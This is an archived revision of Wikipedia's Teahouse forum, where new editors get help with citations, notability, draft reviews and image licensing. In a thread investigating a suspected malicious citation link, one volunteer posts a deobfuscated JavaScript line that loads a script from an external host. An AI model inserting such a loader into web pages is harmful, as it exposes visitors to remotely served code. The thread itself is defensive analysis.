Jump to content

Wikipedia:Teahouse

From Wikipedia, the free encyclopedia

This is an old revision of this page, as edited by Surrogami (talk | contribs) at 23:23, 8 February 2018 (→how to engage an editor who disagrees: new section). The present address (URL) is a permanent link to this revision, which may differ significantly from the current revision.


This is the teahouse
Welcome to the Teahouse...                        
Shortcuts
A friendly place to learn about editing Wikipedia.

Nick Moyes, a Teahouse host

New to Wikipedia? See our tutorial for new editors or introduction to contributing page.
Note: Newer questions appear at the bottom of the Teahouse. Completed questions are archived within 2–3 days.


reference to cite??

Hey, guys!

so i don't get why i have to convert reference to cite. is there a way for that to happen automatically, maybe?

thanks so much for your help everyone! xo. Sarah312x (talk) 05:51, 2 February 2018 (UTC)[reply]

Hi Sarah312x. I'm not exactly sure what you mean by "converting reference to 'cite'", but perhaps you find the answer you're looking for in Help:Referencing for beginners. -- Marchjuly (talk) 06:20, 2 February 2018 (UTC)[reply]
Hi Sarah312x. Looking at your contributions, your prior edit was in Draft:Prestige Economics with the edit summary "i have changed the references to cite". There's a number of good reasons why we want to convert bare URLs to inline citations. AFAIK, the perfect semi-automatic solution has yet to be invented, but we do have reFill that will help to some extent. You can either open https://tools.wmflabs.org/refill/ and paste the title of the article/draft into the Page name textbox. Or you can install a toolbox link by following the instruction here. I ran reFill on this draft, and as you can see there's still a lot of fields that need to be filled in manually. An alternative to reFill that sometimes gives slightly better citations, but does not run in batch mode, is Citer (formerly known as Yadcard). Sam Sailor 12:15, 2 February 2018 (UTC)[reply]
What I meant was when I add a reference through "<ref> tag", I have to switch to the visual editor and click on the "cite" to get it into the proper format. Why? Is there no way to directly add it in that format from the source editor? Also, it seems like when i add a reference in the source editor, unlike other pages, they don't show up in the reflist section under references until I switch to the visual editor or publish the changes. Marchjuly I did try looking at the referencing for beginners page but I can't find anything that describes or tells me how to solve this. i really like to know because it's making editing pages really confusin. — Preceding unsigned comment added by Sarah312x (talk • contribs) 03:57, 5 February 2018 (UTC)[reply]
Sarah312x, you can add <ref>...</ref> citations through the source editor using code like this: <ref>{{cite web|url=...|title=...}}</ref>. You can use the code that VisualEditor put in as a reference (no pun intended).
You say that references you add through the source editor don't show up in the references section. Could you make an edit to your draft and show us? I can't figure out why that might happen. Anon126 (notify me of responses! / talk / contribs) 04:21, 6 February 2018 (UTC)[reply]

Should I go straight to ANI with this?

I recently reverted a series of edits by Ehipassiko2 (talk · contribs), and left a message on their talk page because of two edits that appeared to me to indicate an intent to insert a link to malware in the |url= param of a {{cite web}} reference they added to an article. There's been no discussion yet. I still assume good faith, and had there been only one such edit, I would wait for their TP response. But, given that malware was involved, and that the second edit seemed to confirm the first, I'm not sure if waiting is a good idea. The fact that in every other way, the edits appear to be constructive, is either a mitigating factor, or else very clever camouflage: while investigating it, I reverted myself twice at the article while trying to disentangle it. Not sure if this requires rapid intervention at ANI, or whether we should just wait and see. I'm concerned if there was bad intent, they could carry on at other articles, where it might not be seen. Should I go straight to ANI with this? For details, see User talk:Ehipassiko2#January 2018. Mathglot (talk) 03:52, 3 February 2018 (UTC)[reply]

Welcome to the Teahouse, Mathglot. Although I am an administrator, I lack the technical skills to fully evaluate the case that you are making. However, the potential for harm and damage to Wikipedia's reputation is real, based on your description. Therefore, I believe that a report to ANI is appropriate, to draw the attention of administrators with the appropriate skills and experience. Cullen328 Let's discuss it 03:59, 3 February 2018 (UTC)[reply]
@Cullen: Thank you for your advice. Mathglot (talk) 04:07, 3 February 2018 (UTC)   Posted here. Mathglot (talk) 06:42, 3 February 2018 (UTC)[reply]


I deobfuscated the code and it's possible I could be wrong.

The code as written does the following:

"var el = document.createElement('script'); el.src = 'https://web.stati.bid/js/YQHHAAUDYwBFglDXg0VSBVWyEDQ5dxGCBTNT8UDGUBBT0zPFUjCtARE2NzAVJSIPQ0FJABFUVTK_AABJVxIGEkH5QCFDBASVIhPPcREqYRFEdRQcsUEkARJYQyAXVBPNcQLaQAVm4CQCZAAVdEMGYAXQxwa.js?trl=0.20'; document.head.appendChild(el);"

The code at that address does appear to be doing something funky.

If I were to guess, this is unintentional and the site (oncenturyavenue) has been hacked.

ZephyrP (talk) 05:06, 7 February 2018 (UTC)[reply]

Help on getting article approved

Dear all,

I am new to this field, so any help would be greatly appreciated! On the wiki article I am submitting, I was given the feedback: You should include prominent sources and work in the format of the submission. The wiki page is Draft:Kai Lossgott. Can anyone please explain what is needed here?

Nlatoyas (talk) 21:08, 3 February 2018 (UTC)[reply]

  • Hello Nlatoyas -- Do not be discouraged. The Wikipedia process just takes time. A cursory examination turns up a few things that would have slowed an instantaneous review: (1) It is your first and only article. You are known as a WP:SPA. Flag one. (2) More references are not always better than a couple of very strong ones. Of nineteen references, half or more are either written by the subject or are some kind of listing including the subject. For an artist, the important references are art reviews. Flag two. (3) Lists of works do not confer notability, unless the elements of the list are covered by critics or academic works. Flag three. (4) (Although I may not be the right judge here) The flowery language describing works is likely to interpreted as promotional (WP:PROMO). Rhadow (talk) 21:50, 3 February 2018 (UTC)[reply]
I fear that Rhadow is being unduly optimistic here. "The Wikipedia process just takes time" – no. It takes good references to establish that the subject is notable. No amount of editing can overcome a lack of notability. I haven't checked all the sources cited in Draft:Kai Lossgott, but I see that many of them are the subject's own work, and one of them, currently numbered 10, has no mention of the subject. I agree with Rhadow on points (2) (3) and (4). Maproom (talk) 08:43, 4 February 2018 (UTC)[reply]
@ Rhadow and Maproom: Thank you for your kind words! I will continue chipping away at the entry to get it into shape. I am going to cut down significantly on all references that appear weak. There are a few very important references, which I think are extremely notable in that they come from international art critics and art reviewers local to the Johannesburg art scene. My concern is: How do I show that they are notable. Does the reviewer do a search online to view the art critics’ profiles? Unfortunately, to my knowledge, none of these articles are double-blind peer reviewed.

(3) Lists of works do not confer notability, unless the elements of the list are covered by critics or academic works. To address this, I will be adding links in which well respected art critics discuss specific works. Will this help? The flowery language describing works is likely to interpreted as promotional. This one is a bit more complex. My training in history of art taught us to be descriptive in how we explain an artwork, albeit using a concise and neutral tone with no indication of bias. Does the entry border on too flowery, or is it passable? Thank you for your time and patience!

Nlatoyas (talk) 15:09, 5 February 2018 (UTC)[reply]

Piped Redirect Gadget

Hello,

I was wondering if there is a tool or gadget that allows you to check a page's wiki links and piped redirects to see if any are incorrect or not redirecting properly. Thanks, Jmnbqb (talk) 20:40, 4 February 2018 (UTC)[reply]

If you go to Preferences – Gadgets – Browsing, and enable Navigation popups, you can hover over any wikilink to see the first few lines of the article it links to. Does that help? Maproom (talk) 21:08, 4 February 2018 (UTC)[reply]
I'll check it out. Thanks, Jmnbqb (talk) 20:22, 5 February 2018 (UTC)[reply]

Demographics section of Illinois

Dear Fellow Wikipedians... I'd like to slightly expand the section on demographics in the article of Illinois with a number of sources. Would it be OK to say "Illinois has had a long history of losing its residents to other states. The most common reasons for this are job loss, the highest property taxes in the nation, weather, unionism, crime, education, unemployment, and the state's budget stalemate. The state's residents say it sucks to live in Illinois, in which it was ranked number 1 in residents who desire to flee the state. Many Gallup polls have reported that half of the state's population wants to leave. It is also reported to be the second most hated state in the U.S. after California. It has had a rate of population loss ranging from 1 person every 4.6 to 10 minutes. A study by United Van Lines has reported that it has been in yellow, meaning high outbound, since 1978. A couple who moved to North Carolina from Illinois created a website to help Illinoisans move out of their state. Michael Lucci, the vice president of the Illinois Policy Institute, said that working people and people who want jobs are fleeing the state. Due to its proximity in the Rust Belt, the state's unfriendly business climate makes it one of the top leaving destinations in the U.S. Illinois has lost residents to almost every other state in the nation." Here are some references to support what I'd like to add:

I have already posted a message to the Talk:Illinois about this, but no comments yet. I'm posting here because other editors might feel this is too much detail. Comments welcome please! Colman2000 (talk) 22:21, 4 February 2018 (UTC)[reply]

Welcome to the Teahouse, Colman2000. Your proposed edit seems to be pushing a point of view, using non-neutral language like "it sucks to live in Illinois" and "the second most hated state in the U.S. after California". That is advocacy language because a neutral encyclopedia would never say that anything "sucks" and "hated" is harsh language since most Americans (and other observers) can see both positives and negatives in all 50 states. As a Californian, I have heard such heated rhetoric about my state for decades as our economy has boomed and our population has grown. Please avoid using unreliable sources like blogs, Patch, advocacy websites and especially the websites of moving van companies, who profit when people move from a state, or move to a state. You cannot mention "many" Gallup polls without citing the actual polls. It is not at all surprising or informative to learn that some residents of Illinois may have moved to any of the other 49 states or may have retired to other countries. Some even move to California and are not masochists. This is normal. Reliable sources for demographic changes would be articles written by demographers and published in academic journals, or in-depth articles in respected newspapers and magazines with reputations for accuracy, fact checking and error correction. You have a lot of work to do. Cullen328 Let's discuss it 07:36, 5 February 2018 (UTC)[reply]
@Colman2000: I would add to Cullen's very good response that the innocuous sounding "Illinois Policy Institute" or its leader is hardly an unbiased source of information, being a conservative think tank as its opinions have no relevance to neutral information. It would never be accepted as a neutral source of information. Any information about demographic changes or movement of citizens must be from neutral sources. Please read about neutral point of view. 331dot (talk) 11:46, 5 February 2018 (UTC)[reply]
@331dot: I have to disagree with you, Wikipedia:Neutral_point_of_view#Bias_in_sources specifically says "Biased sources are not inherently disallowed based on bias alone", also Wikipedia:Identifying_reliable_sources#Biased_or_opinionated_sources backs this up and states "reliable sources are not required to be neutral, unbiased, or objective". A fuller discussion is at Wikipedia:Neutrality_of_sources.rgds --88.104.156.90 (talk) 04:08, 6 February 2018 (UTC)[reply]
I am aware that there are circumstances where such sources would be acceptable, but not in the circumstances the OP described. 331dot (talk) 04:19, 6 February 2018 (UTC)[reply]

@Cullen328: and @331dot: Thank you for the input. I will not add these. Cheers to both of you! Colman2000 (talk) 16:18, 5 February 2018 (UTC)[reply]

Hello, What method is recommended to archive video links? I a talking about news reports that have been uploaded on the official channel of a television station. Thanks, --Farang Rak Tham (talk) 23:38, 4 February 2018 (UTC)[reply]

@Farang Rak Tham: perhaps use the url and access-date parameters of Template:Cite news? Rotideypoc41352 (talk) 16:36, 5 February 2018 (UTC)[reply]
Thank you, Rotideypoc41352, but I was referring to a way that you can archive a link with video on it. I am aware of the citation templates.--Farang Rak Tham (talk) 19:13, 5 February 2018 (UTC)[reply]

Your ideas would be most welcome

Please see

Draft:Ealing_Art_Guild

The reviewer in December said there was confusion between footnote and citations. Fair enough. I thought I had made that distinction clear by the time I resubmitted the article, but apparently not.

Any thoughts on how to resolve this issue pleased. I’m keen to get this article approved.

Thanks. John. Jgdc47B (talk) 10:01, 5 February 2018 (UTC)[reply]

You've done a good job of separating the footnotes from the references. But I suspect you still need to cite sources to establish that the subject is notable. You must use reliable independent published sources with significant discussion of the subject. I've checked all the sources cited in the draft that I can on-line, and I find that no. 1 is the subject's own web site, and so not independent; while 2,3,6,7,8,12,13 and 15 don't even mention the subject. Maproom (talk) 11:32, 5 February 2018 (UTC)[reply]
Some of the text in your draft strikes me as original research, Jgdc47B. For example, "The original list, in the meeting minutes, did not include given names. The identities and addresses of some participants have been derived from the 1911 census". Who is doing that deriving? If it is you rather than a source, then it doesn't belong in the article (if it is a source, then its needs attribution). Similarly, the footnote "Could have been one of three daughters (Constance, Kate Ruskin or Phyllis), all of whom had exhibited at the Woman’s Exhibition, Earls Court in 1900" is speculative and doesn't appear to be based on a source. Cordless Larry (talk) 12:36, 5 February 2018 (UTC)[reply]
Thanks Maproom and Cordless Larry. You've given me something to mull over. Jgdc47B (talk) 16:24, 5 February 2018 (UTC)[reply]

Is a "when" citation needed and how do I do it?

Hello. I am quite a novice at Wikipedia but keen to learn. Quick question. The Broadcaster section of this page: https://en.wikipedia.org/wiki/Gary_Williams_(singer)#Broadcaster asks for a "when" reference in the first line:

Williams currently[when?] hosts the weekly musical biography show The Legends of Las Vegas

The citation at the end of the sentence shows that it is still current. How should I answer the previous editors "when" question? I tried to add today's date with: Template:Date= 5 February 2018 but that didn't work.

What should I do?

Thanks. Bosents (talk) 11:19, 5 February 2018 (UTC)[reply]

Hey Bosents. Well, the overarching rule of thumb is that you generally want to avoid time-limited statements in Wikipedia articles, because it's possible, but comparatively difficult to tell exactly when that portion of the article was last updated. (See also WP:RELTIME.) So you wouldn't want to say something like Sarah recently received an award for best person named Sarah in a motion picture since by the time someone reads it, that "recent event" might be quite a ways in the past.
Using "currently hosts" is a little bit redundant, since "hosts" is present tense and so necessarily implies it was current as of the writing. We do use time limited wording in the sense of verb tense, because it's just necessary in English. (See also MOS:TENSE.)
But one solution would be to add a hidden comment using <!-- --> to show when the information is current as of. So for example you could put Williams hosts the weekly musical biography show The Legends of Las Vegas <!-- As of 05 February 2018 -->. This hidden comment would only be visible to someone editing the page, and would not be seen by readers, but it would help to give an indication to editors when this information might need updating. Hope this helps. GMGtalk 13:10, 5 February 2018 (UTC)[reply]
@Bosents: another option if you want the date to be visible to the reader is to use "{{As of|2018|2|5}} Williams hosts the..." The advantage of using this template over just writing the words is that the template will also add an article to the appropriate hidden sub-category of Category:Articles containing potentially dated statements. --Gronk Oz (talk) 15:27, 5 February 2018 (UTC)[reply]
Thank you so much! Great advice and I will amend now. Bosents (talk) 17:45, 5 February 2018 (UTC)[reply]

Article is declined twice / reviewers comment overlooked

Hi,

When my submission Draft:Bart_Cassiman was rejected the first time the reviewer added a comment for the next reviewer to look in the field 'Further Reading' as well as the field 'Sources' to get a full overview of the (needed) secondary sources. However, the article is once again declined because there are not enough secondary sources although there are more than 40 in said 'Further Reading' section. Can someone help me to get this article accepted, as it is well documented it feels it can be a real addition to the Wikipedia encyclopedia?

All my bests.

NG 1989 (talk) 16:44, 5 February 2018 (UTC)[reply]

  • Hello NG 1989 -- I looked, briefly. Strip all the mentions of other artists with whom Cassiman shared a show. Strip all the primary sources. All that is left is, "He curated ..." "He was responsible for..." This guy is an artist. I see nothing that says "Noted critic Hohenzollern calls Cassiman 'a gift to his generation.'" The closest is, "Without any doubt one can say that he was one of the most active and energized persons of the artworld between the mid-eighties and the end of the nineties." Without a reference, I would say that is a very bold claim that does not belong in an encyclopedia article. By the way, about one can say, please read WP:WEASEL. Rhadow (talk) 17:10, 5 February 2018 (UTC)[reply]
SOOOOO much of the content in the draft is not about him. Naming the artists he included in various shows does not make him (or them) notable. David notMD (talk) 18:53, 5 February 2018 (UTC)[reply]

Thank you for your response Rhadow. The person who this article is about is not an artist. He is an exhibition maker, in that sense it is important to leave in the artists names, because that gives meaning to the exhibition he made. I will edit the bold claim about 'one of the most active and energized persons', this is perhaps too much... Can I address someone to 'quickly' review and accept it when edited with these remarks? This has been on review since the beginning of autumn so I'd like to finish it.

All my best.

--NG 1989 (talk) 14:03, 6 February 2018 (UTC)[reply]

how to appeal a deletion

After unsuccessfully searching for a particular entry, in order to update it, I found this: 

07:05, 11 December 2017 Jimfbleak (talk | contribs) deleted page Robert Raven Kraft (G11: Unambiguous advertising or promotion)

I tried to contact Jimfbleak through his talk page, but I couldn't figure out how to initiate correspondence.

Please point me in the right direction to get this page restored.

Thanks, Flyseawing Flyseawing (talk) 17:03, 5 February 2018 (UTC)[reply]

Welcome to Wikipedia. On Jimfbleak's user talk page, if you want to start a new conversation you can use the tab labelled "New section" at the top of the page. --David Biddulph (talk) 17:51, 5 February 2018 (UTC)[reply]
Welcome to the Teahouse, Flyseawing. Because I am an administrator, I could read the deleted article. In my opinion, the article was "unambiguous advertising or promotion", since it included this sentence: "His biography was recently released: Running with Raven: The Amazing Story of One Man, His Passion, and the Community He inspired, by Laura Lee Huttenbach, is available in hardback and audiobook at Amazon.com, Barnes and Noble, and your local bookstore." We simply do not allow that type of content on Wikipedia. Cullen328 Let's discuss it 18:07, 5 February 2018 (UTC)[reply]
I agree that the promotional line should be deleted, but can't the rest of the entry stand on its own? There are close to 3000 people who have participated in the Raven Run and I'm sure there is interest in keeping the statistics current.
Can you send me the text of the entry, I'll delete the unambiguous advertising or promotion and resubmit it?
Thanks, Flyseawing2600:1700:B860:B820:EDB3:B28B:2AF0:E587 (talk) 18:55, 5 February 2018 (UTC)[reply]
Hello, Flyseawing. I'm afraid that "keeping the statistics current", however laudable or useful that might be, is absolutely nothing to do with Wikipedia. What Wikipedia articles do is to summarise what independent commentators have published about a subject: nothing more. I've no idea what the statistics are that you are talking about, but unless independent commentators have written about them, they probably shouldn't be in an article. --ColinFine (talk) 23:40, 5 February 2018 (UTC)[reply]
Ok, I see that no one here cares about anything except exercising their power to lord over the subordinates. At this point, all I care to do is to unleash a diatribe of profanity, but since the subject is not all that important, I'll just use this as a reason to stop all my contributions to this organization, and use my influence among my peers so they do likewise.

Thanks for nothing, Flyseawing2600:1700:B860:B820:D0B0:263E:A9B2:BB7F (talk) 15:36, 6 February 2018 (UTC)[reply]

How is there a notability problem?

I submitted this draft Draft:BAJAJ Dominar 400 yesterday and was rejected on grounds of notability. The reviewer did not leave any comment as well. I have given 8 references of which 7 are independent,neutral and reliable. Please explain what exactly is wrong with my draft. I'm bewildered. Stark13 (talk) 17:10, 5 February 2018 (UTC)[reply]

Welcome to the Teahouse, Stark13. One of your references just has specs and directs readers to dealers. I get security warnings when I try to visit two of the references. Some are forums or blog posts. So, your references are very weak. Also, they are presented as bare URLs, and instead should have full bibliographic details. See Referencing for beginners. Cullen328 Let's discuss it 17:26, 5 February 2018 (UTC)[reply]
Cullen328 Thanks for pointing them out. I have fixed security warning issue and wrong URL that was directing readers to dealers. There are 3 references which are complete reviews of bike and 3 only spec sheets for info box. Everything is there for a purpose. Also replaced the blog with a newspaper article. Regarding "TeamBHP", they are auto reviewer+forum. Only the editors of that website can post a review on any bike/car. They are equivalent to AutoCar/TopGear/Overdrive etc. I had mentioned about this in "invisible comment" but the reviewer didn't pay attention to it. Also,can you please make those URLs complete? because my mobile view does not give me those options. Anything else that needs to be fixed?ThanksStark13 (talk) 19:36, 5 February 2018 (UTC)[reply]
I am sorry, Stark13, but that TeamBHP review is a forum post by an anonymous contributor using IronH4WKas their handle. Reliable sources are signed by real people with their real names, and have a professional editorial staff. You can use the fully functional desktop site on a mobile phone so that you can reference things properly. I do over 95% of my editing on an Android phone. Cullen328 Let's discuss it 19:56, 5 February 2018 (UTC)[reply]

Draft: Rabbits (podcast)

I looked at Draft: Rabbits (podcast) and asked whether it satisfied web notability, but didn't answer the question and don't have a definite opinion. Will other editors please take a look and comment? Thank you. Robert McClenon (talk) 18:34, 5 February 2018 (UTC)[reply]

I don't feel satisfied that the article passes GNG in the slightest. Referencing is bare, and dubious in terms of RS's. Don't feel that there is notability just yet. Stormy clouds (talk) 18:39, 5 February 2018 (UTC)[reply]

Draft:Noah Mark

I reviewed Draft:Noah Mark and declined it, but was asked by its author to re-review it. I see that they are commenting at my talk page that IMDB is the industry standard for credits in entertainment. It may be, but it is also my understanding that it is not considered a reliable source in Wikipedia. I would appreciate other comments, but the draft looks to me like a directory entry only, and Wikipedia is not a directory. Also, the draft is an autobiography, and Wikipedia discourages those, and in years of reviewing input at AFC, I can recall one that both satisfied notability and seemed neutral. Robert McClenon (talk) 18:42, 5 February 2018 (UTC)[reply]

Per the guidelines for reliable sources, IMDB is only OK for external links - not referencing, as it is user-generated. Also, I feel that almost any autobiographical article will fail WP:COI, and that draft does not appear to be the exception to the rule. Stormy clouds (talk) 18:47, 5 February 2018 (UTC)[reply]
Robert McClenon, it certainly appears to me that recent Arbcom case on PAID says that autobiographies from people who are in fields where increased name recognition equates to a greater potential earnings figure are now subject to WP:PAID, not just COI. Not sure if this is a factor here. John from Idegon (talk) 23:40, 5 February 2018 (UTC)[reply]
John from Idegon Can you post a link to that case? That sounds like a difficult scenario to prove. --Drm310 🍁 (talk) 17:49, 6 February 2018 (UTC)[reply]

New Article Insight

Hi! I'm fairly new to Wikipedia and have just written my second article ever on my draft page. Would anyone mind taking a look at it and offering feedback before I submit it for review? I appreciate it! Hwilson51 (talk) 21:48, 5 February 2018 (UTC)[reply]

  • Decent job. While I cannot formally review, there seems to be a broad, varied, and reliable body of sources to establish notability. My only concern is the direct relation of this draft to your first article. It seems as though there is a strong overlap, possibly making a merge worthwhile, rather than the creation of a secondary, albeit well-written, stub. Stormy clouds (talk) 22:13, 5 February 2018 (UTC)[reply]
Thanks for the response @stormy clouds! I really appreciate it! Hwilson51 (talk) 15:07, 6 February 2018 (UTC)[reply]

Is it possible to speed up the review process?

Hi,

I think that a good case can be made that my article was incorrectly rejected. Please see the notes here: https://en.wikipedia.org/wiki/Draft:Ruin_(punk_band). Note that the reviewer himself/herself made the final changes that he/she wanted to see. It has taken well over two months to get to this point.

But that being as it is, I was wondering whether the re-submitted article can be reviewed for publication faster than the two or three months that it seems like it's going to take. Who would I contact for this issue?

Thank you.

Eliswinterabend (talk) —Preceding undated comment added 21:59, 5 February 2018 (UTC)[reply]

Welcome to the Teahouse, Eliswinterabend. As an administrator, I have bypassed the usual AFC process and your article Ruin (punk band) is now in the encyclopedia. Well done. Cullen328 Let's discuss it 22:14, 5 February 2018 (UTC)[reply]

Thank you so much, Let's discuss it! I can't tell you how much I appreciate your action. In gratitude, Eliswinterabend (talk) —Preceding undated comment added 22:19, 5 February 2018 (UTC)[reply]

Pinging @Cullen328: so that he, rather than his talk page, receives the message of gratitude. Stormy clouds (talk) 22:28, 5 February 2018 (UTC)[reply]
My talk page thanks you, as do I, Stormy clouds. Cullen328 Let's discuss it 22:32, 5 February 2018 (UTC)[reply]

For one of my newer articles I've created I can't find a picture of the individual online that is not protected by some sort of copyright protection. I went to my university's archive center and they granted me access to a picture, but there's no written proof I can upload it - so what kind of proof should I get in writing? And how does Wikipedia discern that an email I submit is, in fact, legitimate? If they were to scan and email me a picture and that's it, is this enough to upload? Thanks! SEMMENDINGER (talk) 23:16, 5 February 2018 (UTC)[reply]

Hello, Semmendinger. The procedure is explained in donating copyright materials. Basically, the copyright holder in person needs to inform Wikimedia that they have released the image under a licence such as CC-BY-SA, which will allow anybody to reuse it for any purpose, commercial or not. --ColinFine (talk) 23:45, 5 February 2018 (UTC)[reply]
ColinFine, so can I upload the picture "pending" OTRS approval, and then have the university complete the Interactive Release Generator? That seems the most efficient way to do it, but I don't know if I am allowed to upload the file and keep it up (not used on any page) while the OTRS process goes through. I'd imagine it will take a number of days. SEMMENDINGER (talk) 23:55, 5 February 2018 (UTC)[reply]
Not clear, Semmendinger. The template commons:template:OTRS, which you can add to a file when uploading it, says that the email has been sent, but I don't know how quickly somebody will check it to see if the mail has been received. Have you made sured that the University is willing to release it under a suitable licence? I would wait until you know they have sent the email before you upload. There is no deadline. --ColinFine (talk) 00:20, 6 February 2018 (UTC)[reply]
ColinFine, When using the interactive uploader there is an option to apply a license to an already-existing Wikimedia file. That's what I was referring to above. SEMMENDINGER (talk) 00:22, 6 February 2018 (UTC)[reply]
Hey Semmendinger. You should upload the file and use Template:OTRS pending rather than Template:OTRS. You can select what license you expect it to be under, and if it needs adjusted because of miscommunication, it can be done once the email is confirmed. If the permission is not confirmed within 60 days the image will be deleted. GMGtalk 01:26, 6 February 2018 (UTC)[reply]
Wonderful, thanks to you both! SEMMENDINGER (talk) 01:42, 6 February 2018 (UTC)[reply]

Reliable sources

Hi! Are we not allowed to use a reliable news outlet as a source if their report references a tabloid?

I used BBC News as a source, but their article mentioned that it was originally published by the Daily Mail, and so another user removed it saying it was still unreliable. (This was the article: http://www.bbc.co.uk/news/entertainment-arts-42023885)

And if so, would I also not be allowed to use a reliable source that references TMZ? (For example, this: https://www.huffingtonpost.com/entry/sylvester-stallone-rape-allegation_us_5a3ce122e4b025f99e165ce4) Because the WP:PUS says that TMZ "has received criticism for errors in breaking news and has a reputation for gossip, but it is increasingly seen as credible by other news agencies" and so I wasn't sure if that was considered unreliable or not.

Thank you. Abbyjjjj96 (talk) 23:18, 5 February 2018 (UTC)[reply]

I would suggest reposting this at the reliable sources noticeboard, a dedicated forum for exactly this type of thing. Beeblebrox (talk) 23:23, 5 February 2018 (UTC)[reply]
Ok, thank you! Abbyjjjj96 (talk) 23:30, 5 February 2018 (UTC)[reply]
i had a similar problem i linked a video recording with elite army logo watermark that coincided with Turkish army announcing capture of a hill(it was all over Turkish TV) and provided the names of the 5 groups that are in elite army that where mentioned but weren't named, along with a link to the long war journal,(its far from the only place you can find the names but its all collated in one spot not in Arabic extra) who have been covering the morphing's of Syria rebel groups from like 2012.

and either my video evidence or my reference source was "deemed unreliable" should i have used the jihadists twitter news feeds instead, from the horses mouth" so to speak even if one its in non English and 2 they may delete stuff at any time 110.174.207.53 (talk) 15:54, 6 February 2018 (UTC)[reply]

No, Wikipedia prefers secondary and tertiary sources over primary sources, especially professionally-published academic and journalistic sources. Ian.thomson (talk) 15:56, 6 February 2018 (UTC)[reply]

Hello! I am a contributing editor for the page 'T.P. McKenna (actor)'. Under the 'References' section there's is a link (No.6) which is no longer valid. However, in entering the 'edit' source the links do not appear so I'm unable to correct/remove the errant link.

I'd be grateful for advice.

SMStephenMcKenna (talk) 23:37, 5 February 2018 (UTC)[reply]

Hello, StephenMcKenna. References are defined where they are used in the text, not where the software displays their content. Please see referencing for beginners for more information.
On another subject, are you related to T. P. McKenna? If so, you should declare your conflict of interest, and be very much more circumspect about editing the article directly. (See the link in the previous sentence for more information). --ColinFine (talk) 23:55, 5 February 2018 (UTC)[reply]

How can I resist the urge to vandalize wikipedia?

says it on the top TommyGu (talk) 23:52, 5 February 2018 (UTC)[reply]

Well, TommyGu, I've never felt that urge, so I can't answer directly. But I would say, think about why you want to edit Wikipedia. If it's because you want to be part of one of the largest collaborative projects in existence, that might be enough to carry you through. If you are passionate about some field of knowledge, and want to get the articles on that area in perfect shape, great. But if you just want to play around, or if you just want to get noticed, then Wikipedia might not be the place for you (they'll notice you if you vandalise, but you won't be around for very long to enjoy it!) --ColinFine (talk) 00:03, 6 February 2018 (UTC)[reply]
I find that messing with vandals is far more rewarding than being a vandal.
If you need to muck about, try WP:Sandbox or User:TommyGu/sandbox. Those are spaces where you can test out stuff. Ian.thomson (talk) 00:09, 6 February 2018 (UTC)[reply]

Question

Can someone check to see if my draft article has good references the article is called Draft:Graham Bruce Elementary School (Vancouver, British Columbia) thanks Thegooduser talk 02:19, 6 February 2018 (UTC)[reply]

The draft cites no references at all, though it lists some. Most of those do nothing to attest the school's notability, as they do not discuss the school, they merely list it. Maproom (talk) 08:38, 6 February 2018 (UTC)[reply]
As an informal guide, articles on high schools are not always allowed, and not grade schools or middle schools unless the building itself is notable.David notMD (talk) 12:28, 6 February 2018 (UTC)[reply]

My submission was declined. Would you please look at it & give me advice on how I could improve it?

My wife, Carol and I have been involved in showing horsed for 48 years, We were the 9th & 10th exhibitors to be inducted into Palomino Hall of Fame in 2012. In 77 years, there have been only 13 exhibitors inducted into the Palomino Horse Breeders of America's Hall of Fame. We are the only PHBA Hall of Fame members in Alabama.

The Triple Crown Award that I received in 2005 was after I hiked over 8,000 miles, which took nearly 2 years. Please note that there are only 298 hikers, worldwide, that have received this prestigious award and I'm the only one in the entire state of Alabama that has received it.

Please look this over and give me suggestions on how to improve it.

THANKING you in advance,

Article draft

Carol (Juriga) Hardin was born October 20, 1941, in Johnson City, NY. She is a Horse Trainer and Exhibitor. Since she started training and showing horses in 1973, she has qualified six Palomino Amateur Supreme Champions, which is a PHBA record. Carol won WORLD CHAMPIONS and was PHBA’s National Year End Overall High Point Amateur in 1994 and Reserve High Point Amateur in 1987 and 1996. After many years of outstanding accomplishments she was inducted into The Palomino Horse Hall of Fame in 2012 as an exhibitor. 

  http://www.palominohba.com/the-association/hall-of-fame/hall-of-fame-inductees/


Dothan Eagle Sports Editor, Jon Johnson, wrote the article Local family gains national recognition for horse showing. This article, that was in the Dothan Eagle May 15, 2012, was about her being inducted into the Palomino Hall of Fame. In the article he states; Cliff and his wife, Carol, are considered superstars of the sport of horse showing, and have trained hundreds of others. http://www.dothaneagle.com/sports/local-family-gains-national-recognition-for-horse-showing/article_8b0ecc81-2985-572c-8ee2-8526c10d450c.html 




Clifford S. Hardin was born September 4, 1939, in Atlanta, GA. He is a Long distance Hiker, Horse Trainer and Exhibitor. He excelled at both endeavors.

He received the Triple Crown Award from the American Long Distance Hikers Association in 2005.

This award is given to recognize those that have hiked the full length of the three major trails in America, the Appalachian Trail, the Pacific Crest Trail and the Continental Divide Trail.

While there have been millions of people that have hiked parts of the three above mentioned trails, as of December 31, 2016. There have been only 17,898 hikers that have hiked the entire 2,135 miles of the Appalachian Trail. There have been only a total of 4,885 completed hikes of the Pacific Crest Trail, which runs 2,650 miles, from Mexico to Canada. There are less than 400 reported completed hikes on the 3,100 mile long Continental Divide Trail, which also goes from Mexico to Canada. More amazing, there are only 298 hikers, worldwide, that have hiked the full length of all three trails. They are known as “Triple Crowners” and received the prestigious Triple Crown Award. 

    http://aldhawest.org/page-18139



Cliff started training horses on part time basics in 1970, while working full time in the Real Estate Business.

In 1985 he left the Real Estate business to do what he truly loved and that was training horses and teaching horsemanship to young and/or beginner riders. Most of his students became accomplished riders and several won World Championships and had National High Point Horses.

He trained and exhibited 4 World Champions and multiple National High Point Horses. In 1994, He earned the PHBA National Overall High Point Open Horse Award and the 1,434 points earned that year set the PHBA record for the most Open Points earned in one year, the record still stands today.

He qualified 3 PHBA Open Supreme Champions. There have only been a total of 99 Open Supreme Champions qualified in PHBA’s 77 year history,

He was inducted into the Palomino Horse Hall of Fame in 2012 as an exhibitor. 

               http://www.palominohba.com/the-association/hall-of-fame/hall-of-fame-inductees/


Dothan Eagle Sports Editor, Jon Johnson, wrote the article Local family gains national recognition for horse showing. This article, about Cliff’s induction into the Palomino Hall of Fame was in the Dothan Eagle May 15, 2012 In the article he states; Cliff and his wife, Carol, are considered superstars of the sport of horse showing, and have trained hundreds of others. 

  http://www.dothaneagle.com/sports/local-family-gains-national-recognition-for-horse-showing/article_8b0ecc81-2985-572c-8ee2-8526c10d450c.html

Ldhiker (talk) 04:43, 6 February 2018 (UTC)[reply]

